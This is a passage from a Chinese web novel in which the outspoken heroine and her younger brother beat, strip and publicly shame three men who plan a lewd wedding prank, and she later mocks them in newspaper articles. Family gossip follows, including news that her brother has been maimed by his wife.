刚才的那帮老头老太们出了院子,在巷子里聚在一起偷偷议论。 “我的妈呀,这新娘的妹子可真是个人才。那理论一套一套的,帽子一顶一顶的。” “这种人可不能惹,躲着她点。” “谁说不是呢。” 他们正说得起劲,就见陈安华和几个年轻小伙子用竹筐抬着碗碟过来了。 陈安华热情地跟他们打招呼:“马大爷牛大妈,你们不在院子里坐着,怎么跑到外面来了?” 大爷大妈们一看到陈安华,纷纷拉着他诉苦:“哎哟安华,我们可被你小姨子给吓着了……” 大家伙你一句我一句地把宋知南的话复述给陈安华听,还有人把刚才屋里发生的事告诉了陈安华。 “小陈,她对我们不敬倒也罢了,我们跟她也没啥关系。但她对你爸妈也不敬,你爸妈好歹是她的长辈呀。你们大喜的日子,她就这么不懂事。” 陈安华又不是第一次跟宋知南打交道,早就知道她是个刺儿头。但没想到现在她刺到自己家里来了。怼自己爸妈,怼自己的亲戚邻居,这让他们家的脸面往哪儿搁? 陈安华一边安抚大爷大妈们,一边暗暗想办法怎么教训教训这个不知天高地厚的小姨子。 他还在想办法,他身边的那帮哥们小眼珠一转计上心来。 其中陈安华的发小何剑馊主意最多,他小声对陈安华说:“陈哥,你刚结婚,你小姨子就敢这么干,这是打你的脸也是打你们家的脸。你要不是教训教训她,给她一个下马威,以后你媳妇就敢骑在你脖子上拉屎,你信不信?” 陈安华笃定地说:“那不能,知夏不是那种人,她跟她妹妹不一样。” 陈安华的表弟陶奋斗在旁边嗤笑一声:“嘁,表哥你太不了解女人了。女人是很会装的,嫂子那是在假装温柔顺从,你以后等着瞧吧。他们家能养出你小姨子那样的闺女,就说明他们家家风不好,全家没一个善茬。” 陈安华心中一沉。 他沉默了一会儿问道:“那你们说该怎么办?” 何剑凑在陈安华耳边如此这般地说了一通。 陈安华语气犹豫:“这不太好吧?我听说乡下有婚闹这种事,咱们这儿不时兴这个。而且我那小姨子可不是忍气吞声的主儿。” 何剑继续鼓动道:“谁说咱们这儿不时兴,也就这几年不太时兴,前些年不照样闹?咱们不闹新娘新郎就闹闹新娘的姐妹好朋友啥的怎么了?你放心,我们不会过火的,也就是吓吓她们。” 其他人也附和道:“对对,我们也就是吓吓她们。” 这帮人一边说话一边挤眉弄眼,猥琐地笑着。 他们表面上打着为陈安华出气的旗号,实际上各自心里都有着不可告人的龌龊心思。 他们正说着话,就听见身后传来一阵得得的脚步声。他们回头一看,只见一个身穿黄色碎花连衣裙脚踩坡跟皮鞋的女孩朝他们走了过来。这女孩不仅穿得时髦,长得也挺好看。 何剑这帮人看呆了,他们捅捅陈安华问:“陈哥这姑娘是谁呀?” 陈安华摇头:“我也不认识。” “她去你家了,你也不认识?” “真的不认识,我猜应该是知夏的堂姐堂妹啥的。” “那太好了,肥水不流外人田。” 他们一起笑了起来。 穿黄色连衣裙的女孩正是宋知南大伯家的女儿宋湘,她照着妈妈留下的地址找到了陈家,一进院子就看见了宋知南。 宋湘喊了一声:“小南。” 宋知南循声望去,见喊她的人是一个衣着时尚,长相漂亮的女孩。这人是她大伯家的女儿宋湘,便笑着招呼了一句:“湘姐你来了。” 宋湘坐在宋知南旁边,上下打量了她一通,由衷地说道:“几个月不见,你的变化可真大,就像是从一只小猫变成了老虎。” 宋知南说:“猫本来就是老虎的师父,这不叫变化,这叫找到了自我。” 宋湘噗嗤一声笑了出来:“你说话还真有意思。” 宋知南想了想,她印象中原主跟这位堂姐交集不多,也没什么矛盾,便很乐意给对方提供点情绪价值:“姐,你这身裙子真好看。” 宋湘果然很高兴,跟宋知南聊了一会儿就开始吐槽:“我刚才进来时,遇到一帮长得贼丑的男人,他们直愣愣地盯着我看,烦死了。” 宋知南刚要说话,就看见姐夫陈安华领着那帮哥们进院了。 宋湘捅捅宋知南小声说:“看,就是他们。” 宋知南一双利眼扫视过去,对方也在看她俩。 陈安华还维持着基本的礼貌:“小南来了。” 接着他的目光看向旁边的宋湘:“小南,这位姑娘是咱们家的什么亲戚?我还不认识呢。” 宋知南淡淡地说:“这是我堂姐,你见着叫姐就行了。” “哦哦。” 他们说话时,陈安华身后的那帮人的眼睛始终粘在宋湘身上。 宋湘觉得恶心,宋知南更恶心。 她用犀利的目光盯着对方,上上下下地打量了一通,突然嗤笑一声,做出一副被恶心到的表情,阴阳怪气地说道:“姐夫,你从哪儿扒拉出这样一堆人来?其实你没必要自卑的,我姐早已接受你的长相了。你真的没必要用伴郎团的丑来衬托你自己。你是不是想破坏我们的胃口好省点饭菜?” 陈安华傻眼了,他旁边的人也傻了。这人说话这么直接吗? 陈安华嗫嚅了一会儿,干笑一声:“哈哈,小妹,你这人真会开玩笑。” 何剑等人把碗碟放下来后,把陈安华拉到一边说道:“陈哥,你听听你小姨子说的叫什么话?我告诉你,哥们我憋了一口气,今天我们闹定了。” 其他人也附和道:“必须得让她们长长教训。” 刚才他们就想闹,现在又加上来了个漂亮的宋湘,他们更想闹了。 宋湘这会儿也回过神来了,诧异地说道:“小南,你刚才就那么直接骂人?我真没想到唉。” 宋知南不在意地说:“没事,我经常骂人。” 宋湘语气迟疑:“这不会让知夏为难吗?” 宋知南满不在乎地说:“咱们不用管别人为难不为难,你先想想陈安华咋不想想咱们的为难?他带着一帮丑东西盯着咱俩看是什么意思?难道是想让咱们高兴?” 宋湘叹息道:“我以前只听说过知夏找的对象有点丑,今天一看,没想到这么丑。不光长得丑,人品瞧着也不咋地。小南,你以后可不准找这么丑的对象。” 宋知南痛快答应:“姐,我以我的人格向你保证,我这辈子绝对不找丑男人。”丑的俊的都不要。 宋湘爽快回应道:“我也以我的人格向你保证,我也不找丑的。” 她们说着话,陈安华的那帮哥们在不远处滴滴咕咕,小眼睛时不时地看她们一眼,目光猥琐而充满恶意。 宋知南看看打扮时尚的宋湘,再想想以前看的新闻,便蹙着眉头说道:“湘姐,咱们这儿有婚闹的习俗吗?” 宋湘想了想说:“有是有,但大家都是意思意思算了,一般不会闹得太出格。” 宋知南说:“那要是碰上出格的人就一定会闹得出格。咱俩得小心。” 她这么一说,宋湘也紧张起来了。她今天穿得还是裙子,要是被这帮人拉拉扯扯的,吃亏的肯定是她。 她站起身说道:“我妈呢?我去找她。” 宋知南说:“大伯母在屋里,你去找她。我去找冬宝。你别怕,他们敢动手,咱们抽死他们。” 两人分头行动,宋湘去找她妈,宋知南去找宋冬宝。 宋知南找到宋冬宝对他说道:“冬宝,陈安华的那帮丑哥们要搞婚闹,一会儿你跟着我,咱们拿他们练练手松快松快。” 宋冬宝一听要跟姐姐一起干坏事,顿时不困了。 他用同情的目光扫了这帮人一眼,这些人真是老寿星喝砒霜,活腻歪了,敢惹他三姐。以前光他挨打,今天他就想看看别人怎么挨打。 宋冬宝跟宋知南悄声商量:“姐,你说咱们怎么整他们?我全听你的,你让我打狗我绝不撵鸡。” 宋知南说:“一会儿他们一动手你就用宽皮带抽他们,逮着一个带头的狠抽,然后你再趁机扒他的裤子……” 宋冬宝脸色微红:“姐,这样不好吧?光天化日之下扒人家裤子,别人怎么看我?不得说我有毛病?” 宋知南:“男生扒男生的裤子那不是常有的事吗?你傻呀,你别硬扒,你就假装不经意地把裤子往下扥。” 两人正在商量,就听见有人在破口大骂:“你大爷的,耍流氓是吧?” 他们循声看去,就看见大伯母何梅正追着陈安华的表弟陶奋斗骂。 陶奋斗身体拼命躲闪着,脸上笑嘻嘻:“嘿嘿,婶子,我们这是闹着玩,你们别开不起玩笑啊。” 何梅啐了一口:“闹个屁,你回去跟你娘闹去,不要脸的东西。” 宋知夏和陈安华出来劝何梅:“大伯母,你别生气。” 何梅仍旧气咻咻的,她一把拽过宋湘:“湘湘,你今天就一直呆在妈身边,我看那个不长眼的敢闹你。” 宋湘被陶奋斗吓了一回也不敢乱跑了,她在人群中寻找宋知南,一看到宋知南,就朝她招手,示意她过去跟自己呆一起。 宋知南还没来得及过去,就看见陶奋斗和何剑三个丑男天团,贱兮兮地凑了过来,他们经过宋知南身边时,故意用力撞向她。 宋知南一声令下:“冬宝,给我打。” 第56章 宋冬宝听到姐姐的命令, 毫不迟疑地抽出腰间的宽皮带,朝着领头的陶奋斗劈头盖脸地抽打下去, 一边抽一边骂:“你大爷的没长眼是吧?吃了熊心豹子胆子敢招惹我姐,我抽死你。” 宋知南则是后退十来步,来一个短短的助跑,跑到陶奋斗面前,飞起一脚,狠狠地踹向他的腹部。 陶奋斗躲闪不及,被踢了个正着,他蹬蹬后退几步,他后面是何剑和另一个男人李同,三个人像多米诺骨牌似的,挨个趔趄。宋知南帮了他们一把, 再助跑几步, 又用力踹了陶奋斗一脚, 这下三人支撑不住,扑通扑通三声, 三个人一个叠一个地仰面倒在地上, 紧挨着他们的人惊叫着躲开。 在场的宾客刷地一下围拢在四周,一边磕瓜子一边看热闹。 宋知南假装收不住脚,像扎猛子似地继续往前扎,第一脚刚好踩在了陶奋斗的裤、裆中间,陶奋斗惨叫一声:“我的妈呀,我的——” 宋知南听到叫声,受到惊吓, 吓得“不知所措”,一脚没踩稳, 一个大垮步又踩在了陶奋斗后面的何剑裤、裆上,何剑也跟着惨叫出声。何剑后面的李同看到前面的两起悲剧,吓得一激灵,爬起来拔腿就跑。 宋冬宝三步并作一步跑上来,抓住李同的裤子就往下扽:“你大爷的,不准走。” 李同气极败坏地嚷道:“你有病啊,你扯我裤子干吗?” 宋冬宝大声回道:“谁扯你裤子了,我就是让你别跑,谁让你欺负我姐。” 两人撕扯间,只听见刺啦一声响,李同的裤子被扯开了,露出了里面的花裤衩。 宋冬宝给自己做好心理建设,继续去扒另外两人的裤子,陶奋斗的裤子扒掉了,何剑拽着裤腰,死活扒不下来。 众人目瞪口呆地看着这一幕,这个宋冬宝竟然有这种特殊爱好。 李同和陶奋斗窘得满脸通红,气极败坏地瞪着宋冬宝。 就在此时,宋知南不知从哪儿找到一个搪瓷盆,用筷子敲着盆,大声说:“在场的女同志们,在场的不耍流氓的男同志们,大家请注意看,这三个人刚才谋划着要重新整起封建陋俗,搞低俗婚闹。想趁机占在场女同志的便宜,被我和我堂姐及时发现,我们当机立断地制止他们,我大伯母刚才骂他们就是见义勇为。” 众人议论纷纷,对着三人指指点点。 “怪不得有人追着他们骂呢,原来是这样。” “闹啥闹呀,真是的。” “哎,他们就是开个玩笑而已,不必那么当真嘛。” 宋知南又敲了敲瓷盆大声说:“这三人分别名叫陶奋斗,陶奋斗绰号掏粪斗;何剑,绰号何大贱人;李同,又名李饭桶。俗话说得好,菜贱了有人买,人贱了就得踩。今天大家都踩一踩他们,来一场社会主义的打闹,让这场婚礼更加热闹。” 宋知南说完放下瓷盆,用力把人往陶奋斗他们三个身上推,宋知南的伯母何梅嘱咐宋湘不要乱跑,她撸起袖子加入战场为自己闺女报仇。何梅力气大,道德底线低,一踩一个准,踢得那个狠。宋知南和宋冬宝也混在人群中,对着三人又踢又踹又掐,三人惨叫连连,现场乱成一团。 就在这时,一个身穿灰色中山装,头发花白的老头出来了,大喝一声:“都别闹了。” 闹哄哄的人群突然安静下来。 有人跑过去把陶奋斗三人扶起来,三个人一个比一个惨,李同的脸丢得最狠,裤子破了,里面的花裤衩也被撕破了,他紧紧地夹着双腿,不然,一不小心就走光。陶奋斗的裤子掉了,皮带被人捡走了,内裤撕破一个洞,现在是半光腚,何剑被揍得鼻青脸肿的,双手捂着裆,疼得龇牙咧嘴的。 这时候,陈安华和他爸妈也从屋里出来了。 别的宾客听到消息,也纷纷跑出来,再加上邻居们也过来看热闹,院子里挤得水泄不通。 陶奋斗他爸陶大刚也来了,他一看到儿子这副惨样,心疼得不行,接着他气势汹汹地质问宋知南和宋冬宝:“我儿子是你俩踩坏的?” 宋知南坦然回应:“你刚才没听清我的话吗?你儿子和另外两人要复辟封建陋俗,搞低俗婚闹,故意撞我,我轻轻踢他一脚,他身娇体软就倒下了,一倒下就砸到了后面的何大贱和李大桶,我没站稳,不小心踩了他们一脚。我只是踩一脚而已,怎么就踩坏了?” 杠精值加5。 陶大刚气得胸脯剧烈起伏,他狠狠地瞪着宋知南:“我活这么大,就没见过你这样的女孩子。” 宋知南针锋相对:“我活这么大也没见过你这样的男人,自己儿子教不好还有脸说别人。真是应了那句话,老子反动儿混蛋。你反动,你儿子是混蛋。” 杠精值再加10,一句话杠两人。 陶大刚气得说话声都带着颤音:“这个女娃子是谁家的?她爸妈呢,你们给我站出来!” 宋知南学着他说话:“这个不讲理的老头是谁家的?他爸妈呢?也给我站出来!” 众人:“哈哈哈,他爸妈在地下呢。” 杠精值再加5。 宋知南先发制人,逮着人就说:“你说他们怎么这样?我就那么轻轻踩一脚,咋就踩坏了?这不是想讹我吗?他们哪儿坏了,就露出来让大家伙看看呗,也好给我评评理。” 众人:“……”这种东西又不是别的,咋能当众露出来呢。 宋上进和李玉华被人叫了出来,何剑的姑父在帮忙做饭,听到消息也赶了过来,一起来的还有宋知春,她刚才帮忙择菜去了,听到大家议论,才知道妹妹跟人闹起来了。 宋知夏匆忙跑过来,她想问问怎么回事,压根挤不进来。 陶大刚和何剑姑父一起对着宋上进和李玉华发难:“老宋,老李,你们二位说说怎么办吧?” 宋上进满脸赔笑,只是那笑比哭还难看。 李玉华则是直接推卸责任:“我家这个闺女就是个混世魔王,我们俩都管不了她,你们想怎样就怎样,我们不管。” 陶大刚怒了:“怎么?你们就是想直接推卸责任呗。” 李玉华瞪眼:“我们是真管不了她,不信你去打听打听。她连自己的亲哥都坑,还把户口都迁出去了。” 众人哗然,一起把目光投向宋知南。 宋知春心里生气,对李玉华喊道:“妈,你是怎么说话的?秋实下乡是他自愿的。你损害自己闺女的名声对你有什么好处?” 宋知南冷冷地说:“他们眼里只有儿子,我们闺女都是奴隶。大姐,你今天看清他们的真面目了吧?” 宋上进也用眼神制止李玉华,让她在外面人面前说话注意些。 李玉华趁机发作:“你们一个二个的都是白眼狼,都是我不好,行了吧?我现在就走,省得碍你们的眼。” 说着,她拖着宋上进就往外走。宋上进本来不想走,转念一想,老四惹出的祸可不是小祸,赔礼道歉都是小事儿,没准还得赔钱。他们在现场反而不好,还不如假装生气离开算了。 宋上进被拖着半推半就地离开了。 宋知夏傻眼了,她知道她爸妈自私不靠谱,但没想到这么不靠谱,人家家长都为自己儿女撑腰,他们不但不给孩子撑腰,还落井下石。怪不得小四跟他们离心。上次妹妹在她家说两人不好,她还替他们说好话,现在,她再也说不出口。 宋知春见自己爸妈趁机溜了,油然而生一股责任感,她站在宋知南身边,跟对面的人对峙。何梅和宋湘也挤过来站在宋知南身边,一起给宋知南撑腰打气。 陶大刚和何剑姑父见宋上进夫妻俩借故离开了,便把枪口集中在宋知南身上。 “姓宋的,你今天必须得给个说法。” 宋知南:“你儿子搞低俗婚闹,想占人便宜,你还找我要说法。老头子喝胶水,你咋长开的嘴?” 杠精值再加5。 围观群众忍不住大声笑了出来。 宋知南的名言金句一句接一句:“快刀不磨是块铁,爹不教儿何成爹?请问陶大刚同志,你是咋当爹的?你是不是天天都在掏粪缸,忘了掏你儿子心中的粪了?” 杠精值加5。 “哈哈哈。”现场再次爆发出一阵大笑声。 陶大刚气得老脸通红。 围观群众中也有试图出来和稀泥的,一个老大爷想出来当理中客:“小姑娘啊,性子不要那么要强,你就跟他们说句软话怎么了?” 宋知南立即把枪口对向稀泥大爷:“我们刚才有难你装聋作哑,现在和稀泥你一个顶俩。你就是那趴窝的破拖拉机,不会打鸣的老公鸡,你数数你算老几?怎么哪儿都有你?” 杠精值又加5。 众人诧异,这骂人都押上韵了,现在的年轻人真是了不得。 宋湘一脸欣赏地看着宋知南,三日不见,当刮目相看。 何梅大声附和:“小南你骂得好。”这孩子不像是李玉华生的,倒像是她生的。 稀泥大爷气得头昏脑子胀,一时接不上话来。 老大爷的老伴不干了:“你这姑娘说话咋像烟袋里装辣椒似的,呛死个人。哪里像个女孩样儿?” 周围也有人附和:“她确实不像个女孩样儿。” 宋知南一个都不放过,挨个回击:“哎哟,我不像女孩?你们像女人?你们吐个唾沫照照自个儿那熊样儿?明明自己是黄泥,非得跑到别人裆里当屎;明明外形像个人,非要给男人当伥鬼。伥鬼知道啥意思不?就是帮着老虎害人的畜生。我劝你们都好好地当个人吧。” 杠精系统一直在播报,杠精值加5,加5…… 黄泥大娘被宋知南气了个倒仰,拍着大腿拖长声调说道:“我的老天爷,我老太婆今天算是长了见识了。” 围观群众的想法也跟老大娘差不多,觉得长见识了。谁见过战斗力这么强的小姑娘?真是世风日下,现在的年轻女孩真是了不得。 宋知春刚才还怕妹妹被人围攻吃亏,心里急得不行,现在倒好,妹妹一人力战众人,竟然丝毫不落下风,她连插嘴的机会都没有。 宋知南像机关枪一样,大面积持续性扫射:“俗话得说好,吃让人,喝让人,理不能让人。我有理压得泰山倒,你们谁都颠倒不了。你们这些围观的看热闹的,也别觉得亲帮亲邻帮邻,乌龟向着王八亲。你们不想想何剑、陶奋斗、李同他们三个毁的是谁?老话说,一颗老鼠屎坏一锅汤,一口痰吐脏一大缸。你们这一带有流氓,大家伙背后戳的是你们的脊梁骨。他们这么一闹,以后你们谁家再办喜事,哪家的大姑娘小媳妇敢来?我今天就把话放在这里,你们谁敢帮腔,就说明,你们跟他们一样是流氓。要不是流氓,怎么会想着帮助流氓?” 杠精值加5,加5…… 众人面面相觑,场面突然安静下来。 宋知南继续慷慨激昂:“我是妇联的干部,今天我就代表组织,树社会主义新风,批倒批臭旧封建习俗。窗破了当糊,人恶了当除。锄一恶,长十善。大家跟我一起除恶扬善,一起批斗陶何李三人,再踩上他们一万只脚。同志们,冲啊,是个正常人你就冲。” 宋知南说着就要去冲击三人,宋冬宝一马当先冲进人群里,对着三人继续甩着皮带狂打猛抽。宋知南也大发神威,左手拿着皮带抽,右手用巴掌扇,何梅把女儿推到一边自己上阵跟着打,三个人宛如一支队伍,战斗力极强,兵峰所至,无人敢挡。 “我的妈呀——”陶奋斗何剑李同三人被揍得鬼哭狼嚎。 陶大风和何剑也被推倒在地上,险些造成踩踏事件。 陈志国和王桂兰见到这阵势,吓得脸色一白,陈安华和宋知夏在一旁不知所措。一家人愣了会儿神,才赶紧求着众人硬把陶大刚等人给拽出来,拖到屋里去。 陈志国和陈安华合力关上门,陈志国对瑟瑟发抖的三人说:“你们惹谁不好,要惹她宋知南那个祖宗。” 陈安华也说:“我这个小姨子,特别浑,在家里就敢跟她哥动刀子,你们就躲在屋里别出去。” 陶奋斗佝偻着腰说:“陈哥,咱报公安吧。” 陈安华骂道:“公安来了你们怎么说?是你们先闹的。你信不信,宋知南反手告你们一个流氓罪?” 三人脸色煞白:“不可能吧,我们都没碰到她,算哪门子流氓罪?她弟弟扒我们裤子才是流氓吧?” 陈志国赶紧说:“大喜的日子公安上门,以后别人怎么看咱们家?绝对不能报。” 门外面,宋湘用力挤到宋知南面前问:“小南,咱们要不要报公安?” 何梅在旁边说:“去年你大姨姥家也发生了类似的事,也报公安了,根本没用。 他们只是跟你们闹一下,公安来了能说什么?也就批评教育几句完事。何况,咱们现在还把他们仨打伤了,公安一来这仨人没准还倒打一耙,让咱们赔偿损失。” 何梅说完嘱咐宋知南和宋冬宝:“你俩记住了,咱们是跟他们闹着玩儿,打他们仨也是为了让婚礼更热闹。” 宋知南面带微笑:“大伯母,我记住了。我让他们再热闹热闹。” 说完,宋知南领着宋冬宝堵在陈家门口,振臂高呼:“苍蝇必须消灭,渣滓必须狠踩。” 她喊一句,宋冬宝附和一句。 “胜利属于真理,真理属于我们。” 众人一脸呆滞地看着激情奔放的姐弟俩。行吧,真理和胜利是他俩的,热闹是他们大家的。 接下来的时间,风平浪静,再也没人敢作妖。不但没人作妖,宋知南所在的桌子周围形成一片真空,大家都不敢挨她身边坐。 陈安华只得叫人把宋知南旁边的两张桌子搬到别处去。 吃饭时,本来是十人桌,结果只坐了宋知南姐弟三人加上宋湘和何梅五个人。人少菜多,五个人吃了个撑。 宋知南吃饱喝足,观察着院子里形形色色的人,灵感来了,素材也有了。连文章名字都出来了,《众男婚闹险变太监》、《革命年代容不下旧社会人渣无赖》。 一鱼三吃,流氓也要三吃,先打一顿练练手,再杠一波收点杠精值,最后写文章变个现。这些人一辈子都得感谢她宋知南,没有她,他们这辈子都上不了报纸,也出不了名。 第57章 吃完酒席, 宋知南和宋冬宝扶着桌子起身,都是撑的。 两人的饭量把宋湘和宋知春给吓住了。 大伯母何梅用欣赏的目光看着宋知南, 转头看了一眼那不争气的闺女,饭量跟猫儿似的。瞧瞧人家知南,打架一个顶仨,吃饭也是一个顶仨。 何梅用慈祥的目光看着宋知南说:“小南,以后有空到我家来玩,你别听你爸妈的,我们大人合不来是大人之间的事,跟你们孩子没关系。” 宋知南爽快地答应道:“好的大伯母,我有空就去你家。湘湘姐,你有空也可以来我家玩,我现在自己住, 很方便。” 宋湘笑着答应:“好。” 临分别时, 宋知春欲言又止, 最后说道:“小妹,以前我最担心你, 觉得你太老实, 怕你受欺负,现在我不担心了。不过,你以后出门在外还是小心些吧。”得罪那么多人,别被人暗地里报复了。 宋知南指自己的书包:“大姐你放心,我包里装着家伙呢,谁敢欺负我,我打残了他。” “……行吧。” 宋知南还礼貌地跟陈家人打声招呼:“陈叔王姨, 我走了啊,今天的席面挺不错, 你们都别送了。” 陈志国一家三口齐齐松了一口气,可终于走了。 宋知南离开后不久,陶奋斗李同三人终于敢出屋了,他们饭都是在屋里吃的。 陶奋斗和李同换上陈安华的裤子,何剑借了一根裤腰带,三个人相互搀扶着,一瘸一拐地离开了陈家。 宋知南走到巷口时,回头望了一眼,正好看见扶着墙出的三人组,她迎着阳光粲然一笑:吃席的最好境界就是扶着墙出来,她是撑的,别人是被打的。吃个席还能打人助兴,挺好的。生活如此枯燥无趣,就得会找乐子。 宋知南哼着歌儿一路走回家,趁着灵感还没走远,回到家先写文章。一下午的时间,两篇稿子顺利完成,润色修改誊写一气呵成。 说人坏话会有爽感,写人坏话更爽,谁写谁知道。她都不带卡顿的,写得无比顺畅。写完,虽然手累胳膊酸,但心里十分畅快。文章明天一早就寄出去,刊登出来也得是几天后了。 婚闹一事后,宋知南姐弟俩在陈家这一片名声大噪,大家都说宋知南狠,宋冬宝有特殊爱好,爱扒男的裤子。连带着宋知夏也跟着一起出名。 王桂兰和陈志国对宋知夏说话阴阳怪气的。宋知夏也不是好惹的,当场就呛回去。本来她是打算先隐忍一段时间的,没想到因为这事自己提前暴露了。婆媳两个,三天一大吵,两天一小吵,没事就叮叮当当。 宋知夏在娘家时小心翼翼地讨生活,不敢放肆顶嘴,不敢太出格。因为她的头上永远有一把属于女孩的达摩克里斯之剑,只要行为稍一出格,周围所有的人都拿这把剑吓唬她:你这样婆家会不喜欢,你将来找不到好婆家。现在剑落下来了,婆家果然不喜欢她,她果然没找到好婆家,但她也无所谓了。 宋知夏压抑的天性开始逐步解放,今天解放一点,明天解放一点,越来越放得开。 她出生在那样的一个家里,家庭成员之间充满着尔虞我诈、勾心斗角,对于宅斗那是无师自通。再加上有宋知南那样的妹妹在前面打样儿,她吵架的本事远超一般人。 宋知夏一跟婆婆吵架就向邻居哭诉,以便占领舆论高地:“我本来以为安华长得丑心灵会美,会对我好,谁知道结果会是这样?一嫁到他们家就开始受气。我结婚那天,明明是他们家亲戚不当人,借着婚闹,想欺负我姐和妹妹,他家亲戚被打了,反赖到我头上。哪个好人家的亲戚会干出这种事,他们被打不是应该的吗?咋还有脸找我的事呢?我真是命苦。” “他们天天吹他家条件好,结果呢,连个工作都安排不了。我是被骗了。” 邻居们用同情的目光看着宋知夏,还有人看热闹不嫌事大:“要不,你让你妹妹来给你出出气?” 婚宴那天的战斗场面太精彩了,他们看了还想看。 宋知夏义正词严:“我妹妹可是妇联的干事,忙得很。再说了,我一个当姐姐的遇到点事就找妹妹帮忙,显得多没面子。” 宋知夏的生活说不上多水深火热,因为她在娘家早已习惯了,水深了她能游泳,火热了她能烤火,反正什么样的日子她都能过。 宋知南的文章刊登出来了:《众男婚闹险变太监》、《革命年代容不下旧社会人渣无赖》、《越无能越龌龊》。这下,陶奋斗三人不但在厂区出名了,还上了报纸,在本市也有小名气。最狠的是第三篇文章,文章从心理学方面分析说,男人某方面越不行,行为越出格心思越龌龊,语言越猥琐越放荡,这是一种心理补偿,缺啥说啥,没啥想吃啥。 宫里的太监为何那么阴险变态,民间的太监为何满嘴荤话,原因就在这里面。 一石激起千层浪,三石激起更多的浪。各种议论猜测像滔天的巨浪把陶奋斗何剑李同三人给吞没了。 有人说他们是人渣无赖,有人说他们是太监,还有人说他们又丑又不行,所以心理变态了。 他们本来就不好找对象,这下更完了。女的见着他们就躲,男人见着他们就幸灾乐祸,还有人邀请他们去澡堂洗澡,就想亲眼看看真相。 三人气极败坏,撕了好几张报纸。他们恨透了宋家,更恨透了宋知南。 陶奋斗的爹陶大刚去找宋上进要个说法,宋上进一听宋知南的事就直摆手:“你跟我说也没用,我早说过,宋知南就是个混世魔王,别说是你,就连我她也不客气,她还说要写文章揭发我。” 陶大刚一口气闷在心里,这也不行那也不行,到底要咋样? 陶大刚的媳妇白桂花去找宋知夏算帐,宋知夏理直气壮地说:“我妹妹就是那样,我们家别说是我,我哥我弟甚至我爸妈都不敢惹她,你儿子非要去招惹她,怪谁?她写文章说说你们怎么了?你们又不是啥名人,谁认得你们是谁呀?过几天大家就忘了。你们别放在心上不就行了,一把年纪了,就不能大度些。” 白桂花出语讥讽:“哟,你们宋家的家教可真好,能养出这样的闺女来。” 宋知夏回讽道:“我们家家教没你家好,我哥我弟可没去借着婚闹去占人家女孩的便宜。” 白桂花指着宋知夏骂道:“行,你们就能吧,我倒要看看,你妹这样的女孩能不能嫁出去。” 宋知夏满不在乎地说:“行行,你能嫁出去,你多嫁几回呗。”吓唬谁呢?她以前天天假装勤快贤惠,她嫁到好人家了?早知道就不装了。 白桂花带着气而来,又带着更多的气离开。 宋上进和李玉华最近过得很不舒心,大儿子下乡几个月了,每每想起他,夫妻俩就忍不住忧心;二女儿嫁到婆家三天两头地吵架;更别提三女儿宋知南,走到哪儿都能听到别人议论她。 李玉华在屋里叹气:“咱们家到底是怎么了?会不会是你家祖坟埋的位置不对?” 宋上进:“也有可能是你们老李家祖坟的风水不好。” 李玉华:“孩子是你们宋家的,他们都姓宋不姓李。” 现在他们唯一的盼头是大儿子宋秋实的来信。虽然宋秋实每次写信都是诉苦要钱,但夫妻俩还是盼着他的信。 虽然乡下很苦,但儿子脑子好使,吃的苦比别人少。毕竟他岳父家里劳动力多,媳妇又愿意宠着他。虽然他们嫌弃儿媳妇的出身,但目前来看,也只能先将就着过了。 这天,宋秋实又来信了,说他明年想争取工农兵大学的名额,但一个公社只有两个名额,有几个竞争对手能力很强,名气还大,人家还比他早下乡两年。还说林六宝的爹能帮他的有限,他很不满意。他新认识了公社书记守寡的女儿,只可惜他已经娶了林六宝了,早知道他就再等一等了。 宋秋实在信里惋惜,宋上进夫妻俩也替儿子可惜。 宋冬宝转头就把这些事说给宋知南听。宋知南冷笑:“咱们全家都冷血自私,不是一家人不进一家门。” 宋冬宝奇怪道:“姐,你骂人咋把自己都给骂进去了?” 宋知南:“这说明我这人公平公正,我狠起来,连自己都骂。再说了,我就算冷血自私也比你们高好几个等级,那能一样吗?” 宋冬宝不敢争也争不过。 宋知南说:“冬宝,你以后可别学宋秋实。就你俩这脑子,最好别玩心眼和手段,一定会玩脱。我敢肯定,宋秋实要是继续这么不老实,他的下场一定很惨。要知道,他可是在别人的地盘上。而且,黑省那疙瘩民风十分彪悍,咱们的大嫂上头有五个哥哥,又受宠又有人帮。宋秋实要敢有花花肠子,大嫂的哥哥们得把他的第三条腿打折了。” 宋冬宝不置可否。 宋知南也就那么随口一说,万万没想到宋秋实真是个好哥哥,亲自去证明了宋知南的论断。 这天,宋知南正在上班,宋知夏慌慌张张地跑过来找她。 宋知南赶紧带着她出去说话。 “说吧,又发生什么事了?” 宋知夏带着哭腔说:“知南,秋实完了。” 宋知南语气平淡:“他不是早就完了吗?” 宋知夏急忙说:“不是的,他这次是真的完了。爸接到电报,上面说他受了重伤,要家里接他回来养伤。爸妈急得不行,就去邮局打长途到秋实插队的公社。接电话的人说,秋实贪心不足,吃着碗里望着锅里,欺骗林六宝还毁了公社书记女儿的名声。林六宝一怒之下,就拿剪刀把秋实的那啥给剪了。这事在当地传得沸沸扬扬的,整个公社都知道了。” 宋知南先是吃了一惊,接着出声赞叹:“我这个大嫂真是好样的,要是人人都像她,我看男人还敢这么猖狂?” 宋知夏无奈地说:“知南,你到底是站在哪一边呀?秋实不管怎么说也是你亲哥。” 宋知南一脸正义:“我这人公平正义,帮理不帮亲。” 宋知夏深深地叹了口气,只好说:“算了算了,我不跟你掰扯了,你总是那么有理。那什么,爸说让你下班后回家一趟,咱们大家聚在一起好好商量商量该怎么办。” 宋知南本来不想去,转念一想,这么好的热闹不看亏了。这又是一个好素材,去,必须得去。 她点头答应:“行,我一下班就回去。” 宋知夏临走时嘱咐道:“知南,这事你可得瞒住,不要告诉任何人。太丢人了。” “我嘴严,你尽管放心。” 宋知南觉得这事肯定瞒不住。 宋知南回到办公室,何黛随口问道:“你姐找你啥事呀?” 宋知南说:“没啥大事,叫我晚上回家吃饭。” 5点半,宋知南处理完手头的工作,准时下班。 她一路哼着歌儿走回家。 院子里的邻居一看到宋知南,纷纷出声招呼:“哎哟,小南回来了?” 宋知南落落大方地回应道:“回来了,都做饭呢。” 宋冬宝放学早,已经到家了。他闻声出来迎接宋知南,等宋知南一进屋,他就飞快地说:“姐,咱嫂子也太狠了,吵个架而已,她就拿剪刀把大哥的那啥给咔嚓了。吓得我昨晚都做噩梦了。你说我以后要是娶个这样的媳妇可怎么办呀?” 宋知南好声安慰他:“放心吧,你不会遇到这种事的,因为你压根就娶不到媳妇。” 宋冬宝:“……”有这样安慰人的吗? 姐弟两人正说着话,宋知夏提着两个饭盒来了。 